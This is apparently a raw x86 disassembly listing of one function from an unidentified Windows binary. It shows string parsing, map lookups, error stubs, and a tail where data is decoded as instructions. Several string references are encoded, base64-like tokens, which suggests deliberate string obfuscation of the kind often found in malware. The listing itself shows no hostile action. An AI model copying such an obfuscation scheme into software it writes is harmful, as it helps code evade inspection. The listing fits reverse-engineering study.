cmp eax, 0x10
jb 0x5221f1
inc eax
push eax
push dword [ebp - 0x160]
call fcn.0042b550
add esp, 8
jmp 0x5221f1
mov edx, 0x5b4958
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x521b2c
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521af7
sub ecx, dword [ebp - 0x2c]
je 0x521b2c
mov eax, dword [edx + 0x10]
test eax, eax
je 0x521b2c
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x521b17
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x521b33
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x60]
call fcn.00429760
cmp dword [ebp - 0x20], 0
je 0x521bd9
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0xf
mov byte [ebp - 0xe4], 0
mov ecx, edi
mov dword [ebp - 4], 0x7c
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521b76
sub ecx, edx
lea eax, [ebp - 0xe4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00522700
lea eax, [ebp - 0x20]
mov dword [ebp - 0x44], 0xffffffff
push eax
lea edx, [ebp - 0x44]
mov dword [ebp - 0x20], 0xffffffff
lea ecx, [ebp - 0xe4]
call fcn.00447ca0
mov eax, dword [ebp - 0x38]
add esp, 0xc
push dword [ebp - 0x20]
mov ecx, dword [eax + 0xc]
push dword [ebp - 0x44]
call fcn.00406980
lea ecx, [ebp - 0xe4]
call fcn.00429760
jmp 0x5221f1
mov edx, 0x5b4940
lea ecx, [ebp - 0x60]
call fcn.00440e60
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044bd10
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00429760
test esi, esi
je 0x521c0e
call fcn.0044bca0
jmp 0x5221f1
mov edx, 0x5b49a0
lea ecx, [ebp - 0x60]
call fcn.00440e60
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044bd10
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00429760
lea ecx, [ebp - 0x60]
test esi, esi
je 0x521f3d
call fcn.00429520
mov ecx, edi
mov dword [ebp - 4], 0x7d
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521c51
sub ecx, edx
lea eax, [ebp - 0x60]
mov edx, dword [ebp - 0x64]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00522700
add esp, 8
lea ecx, [ebp - 0x1c]
call fcn.0041ca90
lea ecx, [ebp - 0x3c]
call fcn.0041ca90
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0x7f
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x60]
call fcn.00447eb0
add esp, 4
lea ecx, [ebp - 0x3c]
call fcn.0044bcc0
mov dword [ebp - 0x28], eax
cmp eax, 0xffffffff
jne 0x521daa
push str.bnBtYnNhcg
lea ecx, [ebp - 0x24]
call fcn.0042b420
push str.Y3BwbXA
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x80
call fcn.0042b420
push str.Y3BwS3FlO0dsdF9qZ2JdRGdqY11OX3Jm
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x81
call fcn.0042b420
push 0x588d1c
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x82
call fcn.0042b420
push 0x588d1c
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x83
call fcn.0042b420
push ecx
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0x84
mov ecx, esp
push eax
call fcn.0042ab50
lea ecx, [ebp - 0x68]
call fcn.004411f0
mov edi, eax
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 0x85
mov ecx, esp
push eax
call fcn.0042ab50
lea ecx, [ebp - 0x84]
call fcn.004411f0
mov esi, eax
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x86
mov ecx, esp
push eax
call fcn.0042ab50
lea ecx, [ebp - 0x2c]
call fcn.004411f0
add esp, 4
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x87
push ecx
lea ecx, [ebp - 0x20]
mov edx, esi
push ecx
push edi
mov ecx, eax
call fcn.00452aa0
add esp, 0xc
lea ecx, [ebp - 0x2c]
call fcn.00406230
lea ecx, [ebp - 0x84]
call fcn.00406230
lea ecx, [ebp - 0x68]
call fcn.00406230
lea ecx, [ebp - 0x20]
call fcn.00406230
lea ecx, [ebp - 0x44]
call fcn.00406230
lea ecx, [ebp - 0x34]
call fcn.00406230
lea ecx, [ebp - 0x40]
call fcn.00406230
lea ecx, [ebp - 0x24]
call fcn.00406230
lea ecx, [ebp - 0x34]
call fcn.0041ca90
push str.eSBfbm4gOHkgI3VxIDh5IF9ubl1xcl9yc3EgOHkgbF9rYyA4ICN1cSAqIHFyX3JzcSA4ICN1cSB7e3t7
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 0x88
call fcn.0042a440
push str.bG1sYw
lea ecx, [ebp - 0xe4]
mov byte [ebp - 4], 0x89
call fcn.0042a440
push str.Z2xxcl9qamNi
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 0x8a
call fcn.0042a440
sub esp, 0x18
mov byte [ebp - 4], 0x8b
cmp dword [ebp - 0x28], 1
mov ecx, esp
jne 0x521e1f
lea eax, [ebp - 0x100]
push eax
call fcn.0042a1c0
lea ecx, [ebp - 0x68]
call fcn.00440f90
add esp, 0x18
mov byte [ebp - 4], 0x8c
mov ecx, 1
jmp 0x521e42
lea eax, [ebp - 0xe4]
push eax
call fcn.0042a1c0
lea ecx, [ebp - 0x28]
call fcn.00440f90
add esp, 0x18
mov dword [ebp - 4], 0x8d
mov ecx, 2
push dword [eax]
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x130]
call fcn.0042a440
mov dword [ebp - 4], 0x8e
mov eax, dword [ebp - 0x40]
test al, 2
je 0x521e74
and eax, 0xfffffffd
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x40], eax
call fcn.00406230
mov eax, dword [ebp - 0x40]
mov byte [ebp - 4], 0x90
test al, 1
je 0x521e84
lea ecx, [ebp - 0x68]
call fcn.00406230
lea ecx, [ebp - 0x130]
call fcn.0042aa80
mov esi, eax
sub esp, 0x18
mov eax, dword [ebp - 0x38]
mov ecx, esp
mov edi, dword [eax]
lea eax, [ebp - 0x9c]
push eax
call fcn.0042a1c0
lea ecx, [ebp - 0x84]
call fcn.00440f90
push esi
mov byte [ebp - 4], 0x91
push dword [ebp - 0x1c]
push edi
push dword [eax]
lea eax, [ebp - 0x34]
push eax
call fcn.0041e190
add esp, 0x2c
mov byte [ebp - 4], 0x90
lea ecx, [ebp - 0x84]
call fcn.00406230
push ecx
lea eax, [ebp - 0x34]
mov ecx, esp
push eax
call fcn.0042ab50
mov ecx, dword [ebp - 0x38]
call fcn.0051dbb0
lea ecx, [ebp - 0x130]
call fcn.0042aa10
lea ecx, [ebp - 0x100]
call fcn.0042aa10
lea ecx, [ebp - 0xe4]
call fcn.0042aa10
lea ecx, [ebp - 0x9c]
call fcn.0042aa10
lea ecx, [ebp - 0x34]
call fcn.00406230
lea ecx, [ebp - 0x3c]
call fcn.00406230
lea ecx, [ebp - 0x1c]
call fcn.00406230
lea ecx, [ebp - 0x60]
call fcn.00429760
jmp 0x5221f1
mov edx, 0x5b4a78
call fcn.00440e60
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044bd10
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00429760
lea ecx, [ebp - 0x60]
test esi, esi
je 0x521ff9
call fcn.00429520
mov ecx, edi
mov dword [ebp - 4], 0x92
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521f80
sub ecx, edx
lea eax, [ebp - 0x60]
mov edx, dword [ebp - 0x64]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x6c]
call fcn.00522700
add esp, 8
lea ecx, [ebp - 0x60]
push 0x588d1c
call fcn.00428170
lea eax, [ebp - 0x48]
mov dword [ebp - 0x24], 1
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x48], 2
push eax
lea eax, [ebp - 0x6c]
push eax
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x60]
call fcn.004482c0
mov eax, dword [ebp - 0x48]
add esp, 0xc
or eax, dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax + 0xc]
call fcn.00412b30
lea ecx, [ebp - 0x60]
call fcn.00429760
jmp 0x5221f1
mov edx, 0x5b49b8
call fcn.00440e60
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044bd10
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00429760
test esi, esi
je 0x5220ad
lea ecx, [ebp - 0x60]
call fcn.00429520
mov ecx, edi
mov dword [ebp - 4], 0x93
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522040
sub ecx, edx
lea eax, [ebp - 0x60]
mov edx, dword [ebp - 0x64]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00522700
add esp, 4
lea ecx, [ebp - 0x60]
call fcn.00522770
add esp, 4
lea ecx, [ebp - 0x130]
test eax, eax
mov eax, dword [ebp - 0x38]
setne byte [ebp - 0x2d]
push dword [eax]
call fcn.0042a440
mov dl, byte [ebp - 0x2d]
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x94
call fcn.0052d050
lea ecx, [ebp - 0x130]
call fcn.0042aa10
lea ecx, [ebp - 0x60]
call fcn.00429760
jmp 0x5221f1
push edi
lea ecx, [ebp - 0x40]
call fcn.0042a510
push str.c2xpbG11bF1zZ11rY3FxX2Vj
lea ecx, [ebp - 0x34]
mov dword [ebp - 4], 0x95
call fcn.0042b420
push str.a3FlOyN1cQ
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x96
call fcn.0042b420
lea ecx, [ebp - 0x1c]
call fcn.0041ca90
sub esp, 0x18
mov byte [ebp - 4], 0x98
mov ecx, esp
push dword [ebp - 0x40]
call fcn.0042a440
lea ecx, [ebp - 0x68]
call fcn.0042c270
add esp, 0x14
mov byte [ebp - 4], 0x99
mov esi, dword [eax]
mov ecx, esp
lea eax, [ebp - 0x44]
push eax
call fcn.0042ab50
lea ecx, [ebp - 0x28]
call fcn.004411f0
add esp, 4
push esi
mov byte [ebp - 4], 0x9a
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.0041e190
add esp, 0xc
lea ecx, [ebp - 0x28]
call fcn.00406230
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x98
call fcn.00406230
push 0x588d1c
lea ecx, [ebp - 0x20]
call fcn.0042b420
push 0x588d1c
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x9b
call fcn.0042b420
push ecx
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0x9c
mov ecx, esp
push eax
call fcn.0042ab50
lea ecx, [ebp - 0x68]
call fcn.004411f0
mov esi, eax
sub esp, 0x14
mov byte [ebp - 4], 0x9d
mov ecx, esp
push 0x5b8ac8
call fcn.0042a1c0
lea ecx, [ebp - 0x28]
call fcn.00440f90
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x9e
push ecx
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
mov edx, esi
mov ecx, eax
call fcn.00452aa0
add esp, 0x24
lea ecx, [ebp - 0x28]
call fcn.00406230
lea ecx, [ebp - 0x68]
call fcn.00406230
lea ecx, [ebp - 0x24]
call fcn.00406230
lea ecx, [ebp - 0x20]
call fcn.00406230
lea ecx, [ebp - 0x1c]
call fcn.00406230
lea ecx, [ebp - 0x44]
call fcn.00406230
lea ecx, [ebp - 0x34]
call fcn.00406230
lea ecx, [ebp - 0x40]
call fcn.00406230
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
call fcn.00549bcf
call fcn.00549bcf
call fcn.00549bcf
call fcn.00549bcf
call fcn.00549bcf
call fcn.00549bcf
call fcn.00549bcf
call fcn.00549bcf
call fcn.00549bcf
call fcn.00549bcf
call fcn.00549bcf
call fcn.00549bcf
call fcn.00549bcf
call fcn.00549bcf
call fcn.00549bcf
call fcn.00549bcf
call fcn.00549bcf
call fcn.00549bcf
call fcn.00549bcf
call fcn.00549bcf
push str.invalid_stoi_argument
call fcn.0052da59
push str.stoi_argument_out_of_range
call fcn.0052da99
call fcn.00549bcf
call fcn.00549bcf
call fcn.00549bcf
call fcn.00549bcf
push 0x80004005
call fcn.0042b2f0
push 0x80004005
call fcn.0042b2f0
push 0x80004005
call fcn.0042b2f0
push 0x80004005
call fcn.0042b2f0
push 0x80004005
call fcn.0042b2f0
push 0x80004005
call fcn.0042b2f0
call fcn.00549bcf
call fcn.00549bcf
push 0x80004005
call fcn.0042b2f0
push 0x80004005
call fcn.0042b2f0
push 0x80004005
call fcn.0042b2f0
push 0x80004005
call fcn.0042b2f0
push 0x80004005
call fcn.0042b2f0
push str.invalid_map_K__T__key
call fcn.0052da99
push 0x80004005
call fcn.0042b2f0
push 0x80004005
call fcn.0042b2f0
push 0x80004005
call fcn.0042b2f0
push 0x80004005
call fcn.0042b2f0
push str.invalid_stoi_argument
call fcn.0052da59
push str.stoi_argument_out_of_range
call fcn.0052da99
nop
inc ebx
adc edx, dword [edx]
fst dword [edx]
push edx
add byte [ebp + 0x13], dl
push edx
add byte [edi], ch
adc edx, dword [edx]
jno 0x522379
push edx
add byte [eax], al
add al, 4
add al, 1
add al, 4
add al, 4
add al, 4
add al, 2
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 3
int3